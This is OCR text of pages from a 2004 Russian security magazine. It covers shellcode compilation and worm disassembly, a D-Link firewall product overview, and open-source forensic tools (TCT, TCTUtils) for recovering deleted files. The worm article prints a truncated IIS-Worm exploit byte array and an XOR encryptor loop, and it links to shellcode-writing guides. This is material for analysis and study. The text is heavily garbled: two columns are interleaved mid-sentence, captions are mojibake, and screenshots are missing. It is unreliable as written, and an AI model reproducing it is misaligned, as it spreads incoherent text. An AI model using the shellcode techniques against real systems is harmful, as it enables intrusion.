сварганят из него стандартный PE, из который shell-код Теперь поговорим об укрощении компилятора и опти-
придется вырезать руками. Использование ключа /VXD су- мизации программ. Как запретить компилятору внедрять
щественно упрощает нашу задачу, т.к. во-первых, теперь start-up и RTL-код? Да очень просто – достаточно не объяв-
линкер больше не матерится на отсутствующий старто- лять функцию main, принудительно навязав линкеру но-
вый код и не порывается внедрять его в целевой файл вую точку входа посредством ключа /ENTRY.
самостоятельно, а, во-вторых, вырезать shell-код из vxd- Покажем это на примере следующей программы:
файла намного проще, чем из PE. По умолчанию в vxd-
файле shell-код располагается начиная с адреса 1000h и Ëèñòèíã 28. Êëàññè÷åñêèé âàðèàíò, êîìïèëèðóåìûé îáû÷íûì
ñïîñîáîì: cl.exe /Ox file.c
продолжается до самого конца файла. Точнее, практичес-
ки до самого конца – один или два хвостовых байта могут #include <windows.h>
присутствовать по соображениям выравнивания, однако, main()
нам они не мешают. {
MessageBox(0, "Sailor", "Hello", 0);
Теперь полученный двоичный файл необходимо за- }
шифровать (если, конечно, shell-код содержит в себе шиф-
ровщик). Чаще всего для этого используется уже упомя- Будучи откомпилированной с настройками по умолча-
нутый HIEW, реже – внешний шифровщик, на создание нию, т.е. cl.exe /Ox »file name.c» она образует исполняе-
которого обычно уходит не больше чем десяток минут: мый файл, занимающий 25 Кб. Не так уж и много, но не
торопитесь c выводами. Сейчас вы увидите такое…
fopen/fread/for(a = FROM_CRYPT; a < TO_CRYPT; ↵
a+=sizeof(key)) buf[a] ^= key;/fwrite Ëèñòèíã 29. Îïòèìèçèðîâàííûé âàðèàíò, êîìïèëèðóåìûé òàê:
cl.exe /c /Ox file.c, à ëèíêóåìûé òàê: link.exe /ALIGN:32/
При всех достоинствах HIEW главный минус его шиф- DRIVER/ENTRY:my_main /SUBSYSTEM:console file.obj USER32.lib
ровщика заключается в том, что полностью автоматизи-
#include <windows.h>
ровать процесс трансляции shell-кода в этом случае ока-

44
безопасность
my_main() Начнем с того, что отладка – опасный и неоправданно
{
MessageBox(0, "Sailor", "Hello", 0); агрессивный способ исследования. Экспериментировать
} с «живым» сервером вам никто не даст, и уязвимое про-
граммное обеспечение должно быть установлено на от-
Слегка изменив имя главной функции программы и дельный компьютер, на котором нет ничего такого, что
подобрав более оптимальные ключи трансляции, мы со- было бы жалко потерять. Причем это должна быть имен-
кратим размер исполняемого файла до 864 байт, причем но та версия программного обеспечения, которую вирус в
большую его часть будет занимать PE-заголовок, табли- состоянии поразить, ничего ненароком не обрушив, в про-
ца импорта и пустоты, оставленные для выравнивания, тивном случае управление получит отнюдь не истинная
т.е. на реальном полновесном приложении, состоящем из точка входа, а неизвестно что. Но ведь далеко не каждый
сотен, а то и тысяч строк, разрыв станет еще более за- исследователь имеет в своем распоряжении «зоопарк»
метным, но и без этого мы сжали исполняемый файл бо- программного обеспечения различных версий и кучу опе-
лее, чем в тридцать раз (!), причем безо всяких ассемб- рационных систем!
лерных извращений. К тому же далеко не факт, что нам удастся определить
Разумеется, вместе с RTL гибнет и подсистема ввода- момент передачи управления shell-коду. Тупая трассиров-
вывода, а, значит, большинство функций из библиотеки ка здесь не поможет, – современное программное обес-
stdio использовать не удастся и придется ограничиться печение слишком громоздко, а передача управления мо-
преимущественно API-функциями. жет осуществляться спустя тысячи, а то и сотни тысяч ма-
шинных инструкций, выполняемых в том и числе и в па-
раллельных потоках. Отладчиков, способных отлажи-
Декомпиляция червя вать несколько потоков одновременно, насколько мне из-
Обсуждая различные аспекты компиляции червя, мы ре- вестно, не существует (во всяком случае, они не были
шали задачу, двигаясь от прямого к обратному. Но стоит представлены на рынке). Можно, конечно, установить «ис-
нам оглянуться назад, как позади не останется ничего. полняемую» точку останова на регион памяти, содержа-
Приобретенные навыки трансляции червей окажутся прак- щий в себе принимающий буфер, но это не поможет в тех
тически или полностью бесполезными перед лицом их случаях, когда shell-код передается по цепочке буферов,
анализа. Ловкость дизассемблирования червей опирает- лишь один из которых подвержен переполнению, а осталь-
ся на ряд неочевидных тонкостей, о некоторых из кото- ные – вполне нормальны.
рых я и хочу рассказать. С другой стороны, определить точку входа можно и
Первой и наиболее фундаментальной проблемой яв- визуально. Просто загрузите shell-код в дизассемблер и,
ляется поиск точки входа. Подавляющее большинство перебирая различные стартовые адреса, выберите из них
червей, выловленных в живой природе, доходят до иссле- тот, что дает наиболее осмысленный код. Эту операцию
дователей либо в виде дампа памяти пораженной маши- удобнее всего осуществлять в HIEW или любом другом
ны, либо в виде отрубленной головы, либо… в виде ис- HEX-редакторе с аналогичными возможностями (IDA для
ходной кода, опубликованного в том или ином e-zin. этих целей все же недостаточно «подвижна»). Будьте го-
Казалось бы, наличие исходного кода просто не остав- товы к тому, что основное тело shell-кода окажется зашиф-
ляет места для вопросов. Ан нет! Вот перед нами лежит ровано и осмысленным останется только расшифровщик,
фрагмент исходного текста червя IIS-Worm с shell-кодом который к тому же может быть размазан по всей голове
внутри. червя и умышленно «замусорен» ничего не значащими
инструкциями.
Ëèñòèíã 30. Ôðàãìåíò èñõîäíîãî êîäà ÷åðâÿ Если shell-код передает на себя управление посред-
char sploit[] = { ством JMP ESP (как чаще всего и происходит), тогда точ-
0x47, 0x45, 0x54, 0x20, 0x2F, 0x41, 0x41, ка входа переместится на самый первый байт головы чер-
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
… вя, т.е. на строку «GET /AAAAAAAAAAAAAAAAAA…», а
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, отнюдь не на первый байт, расположенный за ее концом,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x2E, 0x68, 0x74, 0x72, 0x20, 0x48, 0x54, как это утверждают некоторые руководства. Именно так
0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D, устроены черви CodeRed 1,2 и IIS_Worm.
0x0A, 0x0D,0x0A };
Значительно реже управление передается в середину
Попытка непосредственного дизассемблирования shell- shell-кода. В этом случае стоит поискать цепочку NOP,
кода ни к чему хорошему не приведет, поскольку голова чер- расположенную в окрестностях точки входа и используе-
вя начинается со строки «GET /AAAAAAAAAAAAAAAAAA…», мую червем для обеспечения «совместимости» с различ-
ни в каком дизассемблировании вообще не нуждающей- ными версиями уязвимого ПО (при перекомпиляции мес-
ся. С какого байта начинается актуальный код – допод- тоположение переполняющегося буфера может менять-
линно неизвестно. Для определения действительного по- ся, но не сильно, вот NOP и выручают, играя ту же роль,
ложения точки входа необходимо скормить голову червя что и воронка при вливании жидкости в бутылку). Другую
уязвимому приложению и посмотреть: куда метнется ре- зацепку дает опять-таки расшифровщик. Если вы найде-
гистр EIP. Это (теоретически!) и будет точкой входа. Прак- те расшифровщик, то найдете и точку входа. Можно так-
тически же это отличный способ убить время, но не бо- же воспользоваться визуализатором IDA типа «flow chart»,
лее того. отображающим потоки управления, чем-то напоминающие

№4(17), апрель 2004 45


безопасность
добротную гроздь винограда с точкой входа в роли черен- Сложнее справиться с проблемой «привязки» shell-
ка (см. рис. 3). кода к окружающей его среде обитания, например, содер-
Рассмотрим достаточно сложный случай – самомо- жимому регистров, доставшихся червю от уязвимой про-
дифицирующуюся голову червя Code Red, динамичес- граммы. Как узнать, какое они принимают значение, не
ки изменяющую безусловный JMP для передачи управ- обращаясь к уязвимой программе? Ну наверняка-то ска-
ления на тот или иной участок кода. Очевидно, что IDA зать невозможно, но в подавляющем большинстве случа-
не сможет автоматически восстановить все перекрест- ев это можно просто угадать. Точнее, проанализировав
ные ссылки, и часть функций «зависнет», отпочковав- характер обращения с последними, определить: чего
шись от основной грозди. А мы в результате получим именно ожидает червь от них. Маловероятно, чтобы червь
четыре претендента на роль точек входа. Трое из них закладывался на те или иные константы. Скорее всего он
отсеиваются сразу, т.к. содержат бессмысленный код, пытается ворваться в определенный блок памяти, указа-
обращающийся к неинициализированным регистрам и тель на который и хранится в регистре (например, в реги-
переменным. Осмысленный код дает лишь истинная стре ECX обычно хранится указатель this).
точка входа – на этой диаграмме она расположена чет- Хуже, если вирус обращается к функциям уязвимой
вертой слева. программы, вызывая их по фиксированным адресам. По-

Ðèñóíîê 3. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (ìåëêèé ìàñøòàá)

46
безопасность

Ðèñóíîê 4. Âèçóàëèçàòîð IDA, îòîáðàæàþùèé ïîòîêè óïðàâëåíèÿ â ôîðìå äèàãðàììû (êðóïíûì ïëàíîì)
пробуй догадайся, за что каждая функция отвечает! Един- санным в статье «Практические советы по восстановле-
ственную зацепку дают передаваемые функции аргумен- нию системы», опубликованной в декабрьском номере
ты, но эта зацепка слишком слабая для того, чтобы ре- «Системного администратора», мы сможем разгрести этот
зультат исследований можно было назвать достоверным мусор и локализовать голову червя. Ну а дальше – дело
и без дизассемблирования самой уязвимой программы техники.
здесь не обойтись.
Следует сказать, что дамп, сброшенный операционной
системой в ответ на атаку, может и не содержать в себе Заключение
никаких объектов для исследований, поскольку обруше- Переполнение буфера – в действительности настолько
ние системы недвусмысленно указывает на тот факт, что необъятная тема, что даже настоящая статья при всей ее
атака не удалась и червь вместо строго дозированного обширности не затрагивает и половины видимой части
переполнения буфера уничтожил жизненно важные струк- айсберга, не говоря уже о той глыбе, что спрятана под
туры данных. Тем не менее, действуя по методикам, опи- водой. Но об этом как ни будь в другой раз…

Что читать
! UNIX Assembly Codes Development for Vulnerabilities ! Win32 One-Way Shallcode – богатейшая кладезь инфор-
Illustration Purposes – великолепное руководство по на- мации, охватывающая все аспекты жизнедеятельности
писанию shell-кодов для различных клонов UNIX с боль- червей, обитающих в среде NT/x86, да и не только их…
шим количеством примеров, работающих практически http://www.blackhat.com/presentations/bh-asia-03/bh-asia-
на всех современных процессорах, а не только на x86; 03-chong.pdf
http://opensores.thebunker.net/pub/mirrors/blackhat/ ! SPARC Buer Overows – конспект лекций по технике пе-
presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf реполнения буферов на SPARC под UNIX
! Win32 Assembly Components – еще одно великолепное http://www.dopesquad.net/security/defcon-2000.pdf
руководство по написанию shell-кодов, на этот раз ори- ! Writing MIPS/IRIX shellcode – руководство по написа-
ентированное на семейство NT/x86; нию shell-кодов для MIPS/IRIX
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf http://teso.scene.at/articles/mipsshellcode/mipsshellcode.pdf

№4(17), апрель 2004 47


безопасность

МЕЖСЕТЕВЫЕ ЭКРАНЫ D-LINK


МИХАИЛ ГРИШУНИН
Современный мир предъявляет к защите локальных се- ! Списки управления доступом (ACL), реализованные на
тей все более жесткие требования. Зачастую стабильная основе MAC-адресов, IP-адресов и доменных имен. Эта
работа компании, ее успешная деятельность и доходы во функция обеспечивает доступ к Интернету из локаль-
многом зависят от этого фактора. Если крупная корпора- ной сети только доверенных пользователей, а также
ция имеет средства и возможность содержать целые от- позволяет ограничивать доступ к нежелательным ре-
делы, занимающиеся безопасностью корпоративной сети, сурсам.
то небольшие компании не могут позволить себе вклю- ! Поддержка защищенных виртуальных частных сетей
чить в штат сетевого администратора. В этих условиях (VPN) позволяет безопасно связывать между собой ло-
остро возникает необходимость в удобном и надежном кальные сети филиалов предприятия и мобильных
инструменте защиты сети, каким является межсетевой пользователей с использованием шифрованных кана-
экран. На данный момент существует огромное количе- лов через Интернет вместо аренды дорогостоящих
ство реализаций таких устройств. Все они делятся на ап- выделенных каналов. Поддерживаются алгоритмы
паратные и программные. На первый взгляд, программ- шифрования DES и 3DES, а также аутентификация
ная реализация межсетевого экрана довольно привлека- MD5 или SHA-1, управление ключами вручную или при
тельна по своим ценовым характеристикам, но, к сожале- помощи Internet Key Exchange (IKE). Возможность цен-
нию, у нее немало недостатков. К таковым можно отнести трального управления всей распределенной сетью сни-
сложность настройки и администрирования, а также мень- жает расходы на администрирование.
шую надежность по сравнению с аппаратными реализа- ! Выделенный физический DMZ-порт позволяет органи-
циями. Поэтому сегодня хотелось бы подробнее обсудить зовать отдельную подсеть для Web, Mail или FTP-сер-
линейку межсетевых экранов от компании D-Link. Среди веров компании и обеспечить доступ к ним из сети Ин-
них есть устройства, которые могут занять достойное мес- тернет, не подвергая внутреннюю сеть опасности атак
то как в сети крупной компании, так и небольшой органи- извне и уменьшая в ней количество трафика.
зации. Работая в точке подключения к Интернету, они вы- ! Применение механизма Multihoming позволяет подклю-
полняют функции маршрутизатора и межсетевого экрана. чить локальную сеть к Интернету через два и более
D-Link выпускает две группы межсетевых экранов: провайдеров. Основное преимущество этого механиз-
SOHO и Enterprise. Основные различия этих групп в про- ма – получение резервного канала связи при обрыве
изводительности, техническом исполнении и предназна- соединения с одним провайдером и обеспечение по-
чении определенному типу заказчика. стоянного доступа к Web-сервисам, что особенно важ-
Область применения устройств типа SOHO (Small но для предприятий и организаций, коммерческая де-
Office Home Office) – небольшие организации (30-50 ра- ятельность которых зависит от Интернета. Модель DFL-
бочих мест), не имеющие в своем штате постоянного сис- 1500 предлагает полнофункциональную функцию
темного администратора. Настройка этих устройств очень Multihoming, которая представляет собой интеллекту-
проста и не требует высокой квалификации персонала. альный алгоритм автоматической маршрутизации для
Она целиком производится через веб-интерфейс, что на- динамического распределения трафика между двумя
глядно, удобно, быстро и не требует запоминания огром- WAN-каналами связи, обеспечивая балансировку на-
ного количества команд. грузки. Это не требует создания сложных таблиц мар-
Группа Enterprise изготавливается в стандартном 19- шрутизации, как в обычных маршрутизаторах, умень-
дюймовом исполнении, т.к. предназначена для монтажа в шая, таким образом, усилия администраторов сети на
коммуникационный шкаф или стойку. Устройства такого их создание.
типа рассчитаны на бесперебойное обслуживание сотен ! Межсетевые экраны D-Link позволяют протоколировать
и тысяч пользователей. все события, происходящие на межсетевом экране, в
Базовая функциональность межсетевых экранов D-Link журнале системных событий или передавать его на
расширена включением дополнительных функций, а именно: syslog сервера, а при возникновении угрозы безопас-
! Защита от атак, приводящих к «Отказу от обслужива- ности посылать предупреждения по электронной по-
ния» (DoS), таких как Ping of Death, SYN Flood, LAND чте. Таким образом, вы можете быть оперативно опо-
Attack, IP Spoofing, Teardrop и др. Система Anti-DoS вещены о возможной атаке на ваш сервер и вовремя
позволяет контролировать число «полуоткрытых» со- принять адекватные меры.
единений. При превышении данного предела эти со-
единения разрываются, а администратору сети отправ- Более подробные технические консультации по меж-
ляется предупреждение. Скомпрометировавшие себя сетевым экранам D-Link вы можете получить, отправив
хосты заносятся в Blok list. письмо по адресу support@tayle.com.

48
безопасность

СВОБОДНЫЕ УТИЛИТЫ FORENSIC

Компьютеры и Интернет продолжают проникать и вторгаться в нашу жизнь, увеличивая тем самым
вероятность оказаться жертвой компьютерного преступления. Как ни прискорбно замечать,
несмотря на обилие и разнообразие средств защиты, с каждым годом количество взломов
увеличивается. Оказавшись жертвой взлома, некоторые, бывает, и теряются, что порой приводит
к неправильным решениям. Наверное, одна из самых распространенных ошибок состоит
в немедленном удалении всех данных и восстановлении системы из резервных архивов
и продолжении работы как ни в чем не бывало (хотя настаивать на своем мнении не буду, бывают
разные ситуации). Почему так? Во-первых, не всегда можно сразу точно узнать, когда произошел
взлом, и в архиве могут быть уже «зараженные» тем же rootkits файлы; во-вторых, если повезло
с первым случаем, то где вероятность того, что злоумышленник не воспользуется тем же
способом, что и ранее, для повторного проникновения, и в результате время будет потрачено зря,
и в-третьих, иногда трудно сказать, произошел ли взлом вообще, и чтобы доказать это, требуется
собрать максимальное количество информации, т.к. простой сервера ведет к финансовым потерям
(а еще и имидж, и пр.), и кто-то должен отвечать за это.

СЕРГЕЙ ЯРЕМЧУК

50
безопасность
Другой путь состоит в том, чтобы остановиться и попы- могут изменять нужные метаданные (например, время
таться исследовать и проанализировать происшедшее, а последнего обращения к файлу). И главное, системные
главное, сохранить образ взломанного компьютера. К со- утилиты позволяют найти только распределенные файлы,
жалению, насчет вопроса исследования последствий взло- но специализированные могут найти и нераспределенные,
ма и используемых при этом инструментов в рунете име- т.е. удаленные или спрятанные файлы. И наконец, допол-
ется некоторый дефицит информации (а об описываемых нительно приведенные утилиты могут понадобиться для
ниже утилитах доводилось читать все, кроме того, чем они исследования файловой системы и процессов восстанов-
действительно занимаются), которую одной статьей так ления данных.
сразу и не решить. Но надеюсь вызвать дискуссию (на
страницах журнала или в форуме), в которой попытаться The Coroner’s Toolkit (TCT)
разобраться и ответить на извечный вопрос «Что делать?» Разработанный Dan Farmer и Wietse Venema, это один из
после взлома. Так, к планированию своих действий в этой самых первых и самых известных и свободных инструмен-
ситуации нужно подходить не менее тщательно, чем к тов, предназначенных для сбора данных на скомпромети-
действию при пожаре. рованной системе (http://www.fish.com/tct). Работает с фай-
Если на компьютере установлена одна из систем кон- ловыми системами FFS (FreeBSD, OpenBSD, BSD/OS,
троля целостности вроде tripwire (http://www.tripwire.org) Solaris) и EXT2/3FS, также при помощи патча, доступного
или AIDE – Advanced Intrusion Detection Environment (http:// на сайте, можно заставить работать со второй версией
sourceforge.net/projects/aide), а также система обнаруже- FFS (FreeBSD 5.x), что касается и всех остальных утилит,
ния вторжения наподобие Snort (http://www.snort.org/), плюс участвующих в обзоре, к глубокому сожалению, с новыми
средство аудита системы вроде того же Snare (http:// ФС под Linux – ReiserFS, XFS и JFS они не работают. Од-
www.intersectalliance.com/projects/Snare/), то у вас будут ной из особенностей этой и подобных утилит является мак-
ответы на основные вопросы – когда и где происходило симальный отказ от утилит исследуемой операционной
событие, как все произошло, сколько времени и на какие системы и максимальное протоколирование всех своих
файлы воздействовали в системе. Теперь осталось осто- действий. Так, даже вместо системного командного ин-
рожно извлечь чужое и проанализировать подробнее. терпретатора используется свой. Установка заключается
Стандартные инструментальные средства, которые в получении архива, его распаковки и ввода команды
имеются в любой системе, для данного действия не под- make. После чего здесь же, в подкаталоге bin, появятся
ходят по нескольким причинам. Для начала они могут быть несколько исполняемых файлов.
введены в заблуждение при помощи любого широко дос- По назначению их можно условно поделить на четыре
тупного rootkits, некоторые инструментальные средства группы:
полагаются на файловую систему или системные коман- ! grave-robber – предназначена для захвата данных,
ды, чтобы исследовать диск и поэтому им также нельзя включая даже удаленные с диска, но еще открытые и
доверять. Затем системные инструментальные средства находящиеся в памяти.

Ðèñóíîê 1

№4(17), апрель 2004 51


безопасность

Ðèñóíîê 2
! pcat, ils, icat, file – предназначены для записи и анали- берет в файле conf/look@first и основные настройки бе-
за процессов и данных, содержащихся на диске. рет из файла grave-robber.cf.
! unrm и lazarus – для восстановления и анализа осво- Вывод выглядит так:
божденных дисковых блоков файловой системы.
! mactime – Perl-скрипт, предназначенный для сбора ин- # ./grave-robber
формации о времени последнего обращения, измене-
ния и время создания (mtimes, atimes и сtimes или луч-
ше modification, access или change – так запомнить
легче) файлов и каталогов, при этом не изменяя их.

Теперь поподробней.
Некоторые утилиты могут работать как с «живой» фай-
ловой системой, так и с образом, созданным при помощи
команды dd.

#dd if=/dev/hda9 of=./system.img

Если требуется задать определенный каталог, необ-


ходимо пользоваться опцией -с, которая, в свою очередь,
Для создания «мгновенного» снимка системы предназ- требует опцию -о, указывающую на используемую опера-
начена утилита grave-robber. По умолчанию grave-robber ционную систему.
фиксирует информацию о процессах и состоянии сетевых
соединений, выясняет все, что может, относительно кон- # ./grave-robber -c /data1 -o LINUX2
фигурации аппаратных средств, особенно обращая вни-
мание на диски и дисковые разделы, и исследует состоя- Из других параметров, разделенных на три группы
ние критических файлов (конфигурационные файлы, жур- (general, micro data collection и macro data collection), осо-
налы и пр.). Список исследуемых каталогов программа бо интересными, по моему мнению, являются (по умолча-

52
безопасность
нию собирается максимальное количество данных, что мы, которые утилита нашла интересными, в основном кри-
занимает довольно много времени): тические и конфигурационные файлы; proc – копии ис-
! -l – на живой системе перед сбором информации вы- полняемых файлов запущенных процессов с контрольны-
зывает lstat(); ми суммами. Может быть еще каталог deleted_files, содер-
! -P – выполняет на живой системе команды ps, lsof, icat жащий удаленные, но еще открытые файлы.
для того, чтобы получить данные о выполняемых про- Если необходимо просто просмотреть, изменялось ли
цессах и делает копии их исполняемых файлов. Icat- MAC-время доступа к файлам, начиная с определенного
команда требует привилегий и используется только на времени (или промежуток при задании двух значений), то
системах, где к исполняемому файлу нельзя обращать- запускаем утилиту mactime, в результате получим колон-
ся через /proc файловую систему; ку, состоящую из значений [date time size MAC (т.е. изме-
! -s – на живой системе при помощи netstat, df собирает ин- нившееся поле) perms owner group file]. Давайте посмот-
формацию о состоянии хоста и сетевых соединениях; рим, какие файлы изменились с 10 января 2004 г. (фор-
! -t – собирает информацию от hosts.equiv, .rhosts, and мат: месяц/дата/год).
xhost;
! -M – собирает контрольную сумму MD5 для файлов; #./mactime 1/10/2004
! -v – вывод подробных данных.

В результате работы утилиты в подкаталоге data/


hostname_time (его можно изменить при помощи опции -d),
образуется несколько файлов и каталогов.

То есть с указаного времени изменялся inode (..с) фай-


ла deallocvt, если файл недавно копировался или созда-
В body содержится MAC-база времени, body.S тоже, вался другим способом, то это не должно вызывать по-
но описаны файлы с установленным SUID; command_out – дозрений, но если операционная система стоит не один
вывод программ, которые выполняются, с контрольными день, а файл находится в неизменяемой обычно облас-
суммами и временными метками; conf_vault – програм- ти (/bin, /sbin и т. д.), то это должно вызвать подозрения.

Ðèñóíîê 3

№4(17), апрель 2004 53


безопасность

Ðèñóíîê 4
Хотя, как вы понимаете, все эти времена можно без про-
блем изменить. Далее все, думаю, понятно по аналогии.
Из интересных опций следует отметить -s, показывающую
файлы с установленным SUID/SGID другим цветом, ее не-
обходимо использовать совместно с -h, устанавливающую
вывод в виде html. Если запустить ее с опцией -о, то будет выведен толь-
Просмотреть, чем сейчас занимается тот или иной про- ко inode с номером 1.
цесс, найденный при помощи ps, netstat, или lsof, можно, Поле st_alloc принимает два значения; «a2» – для
запустив команду pcat, которая копирует содержание его allocated inode и «f» – для free inode.
памяти в стандартный вывод. В первом столбце даны значения inodes удаленных, т.е.
не прописанных ни в одном каталоге файлов. Теперь при
./pcat 881 | strings | less помощи icat, позволяющей копировать файл, обращаясь
к нему не по имени, а по номеру inodes, попробуем скопи-
Наиболее полную информацию можно получить, исполь- ровать удаленный файл.
зуя опцию -H и направив при этом вывод в файл. В осталь-
ных опциях лучше один раз увидеть, чем сто раз прочитать. # ./icat
Теперь попробуем найти потерянные или спрятанные
файлы. Для этого воспользуемся утилитой ils (inode list), # ./icat /dev/hda9 107 > /tmp/delete_file
которая открывает названное устройство и перечисляет
inode. По умолчанию ils выводит inodes только удаленных Чтобы определить, что за файл находится перед нами,
файлов. применяется утилита file, которая при помощи трех тес-
Опций много, наиболее интересные следующие: опция тов (filesystem tests, magic number tests и language tests)
-е выводит список всех inode; -o – выводит список всех пытается дать ответ.
inodes удаленных файлов, но таких, которые являются еще Первый тест пытается выяснить, является файл двоич-
открытыми или выполняются; -r выводит список удален- ным (программа или данные в каком-то формате) или со-
ных файлов. держит ASCII-текст. На втором этапе при помощи системно-
го вызова stat пытается определить тип (описаны в sys/stat.h).
# ./ils -or /dev/hda9 И наконец, пытается определить magic number, сохраненный

54
безопасность
в определенном месте файла и найти соответствующий из- # ./unrm /image/system.img > /home/system_urm.res
вестному типу файла (например, исполняемый elf или a.out).
В результате можем получить файл довольно прилич-
# ./file /tmp/delete_file ных размеров, который перебрать вручную довольно хло-
потное дело. И не надо. Для этого есть специально обу-
Все, по-моему, понятно без комментариев. От себя до- ченная утилита lazarus, анализирующая поблочно весь
бавлю, что вовремя спасенная таким образом программа файл и пытающаяся определить, что за информация на-
без проблем открывалась и выполнялась. ходится в этих блоках, а также связать разрозненные бло-
Применив такую конструкцию, можно попытаться вос- ки между собой. При этом lazarus понимает кроме FFS,
становить все удаленные файлы. EXT2/3 и NTFS с FAT32. Утилита читает данные порциями
размером 1 Кб (значение можно изменить в lazarus.cf в
# ./ils -rf ext2fs /dev/hda9 | awk -F '|' '($2=="f") ↵ переменной $BLOCK_SIZE), определяет по 10 % блока,
{print $1}' |
while read i; do /usr/local/tct-1.14/bin/icat /dev/hda9 ↵ что за данные (текст, двоичные, неизвестные) находятся
$i > /tmp/deleted/$i; done в нем. Если текст, то, используя регулярные выражения,
пытается прочитать их, в двоичных пытается определить
Но для сохранения данных, содержащихся во всех сво- формат.
бодных inodes файловой системы, в отдельный файл для
последующего анализа предназначена другая утилита – # ./lazarus -h /home/hda9_urm.res
unrm. При ее использовании необходимо помнить две
вещи: записывать результат нужно в другой раздел жест-
кого диска, иначе потеряете все, и в этом разделе должно Вывод утилиты – набор символов (если опция -h, то и
быть достаточно места для сохранения данных. Например, HTML-файл, рис. 1), соответствующие распознанным ти-
если создать образ файловой системы размером 10 Гб, пам блоков, которых lazarus смог определить. Кроме того,
заполненной на 3 Гб при помощи утилиты dd, то он зай- в каталоге blocks (определен в переменной $blocks в фай-
мет 10 Гб, а если при помощи unrm, то места потребуется ле lazaruz.cf или, возможно, переопределить, использовав
7 Гб (10 – 3), плюс столько же для последующего анализа. флаг -D) создаются файлы, которые содержат данные, най-
Если не доверяете системной команде dd, то, запустив денные в блоках. Последовательные блоки того же самого
unrm с опцией -e, можно создать полный образ раздела: типа считаются одним и тем же файлом и записываются в
тот же самый выходной файл $blocks/*. Расшифровка вы-
# ./unrm /dev/hda9 > /home/hda9_urm.res даваемых значений видна на рис. 1. Так, буква «T» означа-
ет текстовый файл, «M» – почтовый, «C» – код на Cи, точка
или если извлечь неиспользованные inodes из предвари- «.» – файл неопределен. Хотя, бывает, утилита и ошибает-
тельно созданного dd образа. ся. Далее процесс восстановления описан в документе help-

Ðèñóíîê 5

№4(17), апрель 2004 55


безопасность

Ðèñóíîê 6
recovering-file и lazarus.README, которые лежат в подката- Для компиляции TCTUtils потребуется наличие установ-
логе doc. Например, текстовые файлы с определенными ленного TCT, путь к каталогу которого необходимо указать
словами можно попробовать найти при помощи grep: в файле src/Makefile в переменной TCT_DIR. После этого в
подкаталоге bin появятся несколько исполняемых файлов.
# egrep -l 'keyword1|keyword2|...' blocks/*.txt > allfiles
# ls bin
Вы видите, насколько мощные и удобные инструменты
имеются в TCT, но все же их возможностей явно не доста- Разберем подробнее. В предыдущих примерах мы на-
точно. Так, нельзя обеспечить анализ по имени файла, про- шли несколько удаленных файлов и даже успели их спас-
вести соответствие inodes с блоками, просмотреть инфор- ти. Но кроме номера inode, о файлах не известно больше
мацию, находящуюся в отдельных блоках. Поэтому был ничего. Пробуем при помощи утилиты istat извлечь осталь-
разработан еще один комплект инструментов, дополняю- ную «спрятанную» информацию.
щих TCT, названный TCTUtils (http://www.cerias.purdue.edu/
homes/carrier/forensics/) и использующий его библиотеки.
Принцип работы прост и основывается на том, что инфор-
мация при удалении файла фактически сохраняется в за-
писях каталога. Выглядит это в общем приблизительно
так (некоторые подробности работы ext2 смотрите в [1].
Каталог имеет для каждого файла четыре существенные
записи: номер inode, длина записи в байтах rec_len, ок-
ругленная до 4, имя файла (name) и длина имени файла
(nam_len). При удалении файла в целях экономии време-
ни запись о нем не удаляется, просто к значению rec_len
предыдущего файла добавляется длина удаляемого, т.е.
фактически утилиты теперь проскакивают над записью
удаленного файла. И теперь утилиты из TCTUtils, анали- Как видите, теперь, кроме номера inode, стала извест-
зируя поля, определяют, у которого поле rec_len больше на информация о размере файла, владельце, режимах до-
требуемого, и таким образом находят спрятанный файл. ступа, МАС-временах, и главное, номера дисковых блоков,

56
безопасность
в которых записано тело файла. Чтобы заглянуть внутрь Возможен и обратный поиск, т.е. известен номер бло-
блока, используем другую утилиту bcat, которая может вы- ка и требуется найти номер inode, за которым данный блок
водить информацию как сырой raw, текст ASCII (опция -а), закреплен.
hexdump (-h), html (-w), выводить статистику (-s), просмат- Для этих целей используется команда find_inode. Воз-
ривать свап (-f swap). можны три результата выполнения: блок будет в списке
inode, блока не будет в списке inode и блок является час-
# ./bcat -h /dev/hda9 9364 512 тью большего фрагмента.

# ./find_inode /dev/hda9 9364

# ./find_inode /image/system.img 12345

Но искать вручную каждый удаленный файл немно-


го хлопотно, поэтому для начала можно пройтись по раз-
делу или созданному образу утилитой fls, выводящей
имена файлов и каталогов, и в том числе недавно уда-
ленных.
Из опций утилиты стоит отметить:
! -a – отображает имена файлов, начинающиеся с точ-
ки, которые любят использовать взломщики;
! -d – вывод только удаленных файлов (-u – только не
удаленных);
! -l – вывод подробной информации о файле;
! -r – рекурсивный обход всех директорий (но не может
следовать за удаленными каталогами).

# ./fls -rd /dev/hda9

Ðèñóíîê 7

№4(17), апрель 2004 57


безопасность

Ðèñóíîê 8
Пробуем.

# ./find_file -a /dev/hda9 107

Хотя программы по-прежнему нет в списке.

# ls -al /data1/sort

И последняя утилита blockcalc из комплекта TCTUtils


Как видите, удалось определить, что за файл скрывал- предназначена для отображения соответствия между но-
ся в inode под номером 107, который теперь благополуч- мером блока в образах, созданных при помощи dd и unrm.
но можно восстановить при помощи icat. Но если под Linux
такой номер проходит, то в Solaris можно вообще не полу-
чить никакой информации.
Удаленные файлы и каталоги помечаются знаком *.
Первая буква показывает, что за файл, т.е. r-egular, d- # ./blockcalc -u 9364 /image/system.img
irectory, l-ink, s-ocket или неопределен (?).
Найти имя файла или каталога по известному inode
можно при помощи утилиты find_file. В man не сказано, Не знаю, что послужило причиной, но TCT и TCTUtils не
что означают те или иные опции, поэтому пришлось пона- развиваются уже с 2001 года (но это не значит, что их нельзя
чалу запустить ее со всеми сразу. использовать и я зря о них рассказывал). Вместо них Brian
Carrier выпускает единый комплект утилит, названный Sleuth
#./find_file -adu /dev/hda9 107 Kit (http://www.sleuthkit.org/sleuthkit), основанный на их коде,
объединяющий основные функциональные возможности и
работающий с файловыми системами NTFS, FAT, FFS,
EXT2FS и EXT3FS. Последняя на момент написания статьи
версия 1.67 от 6 января 2004 года. Для удобства, чтобы лег-

58
безопасность
че было ориентироваться, названия утилит изменены и на- # ./mmls -?
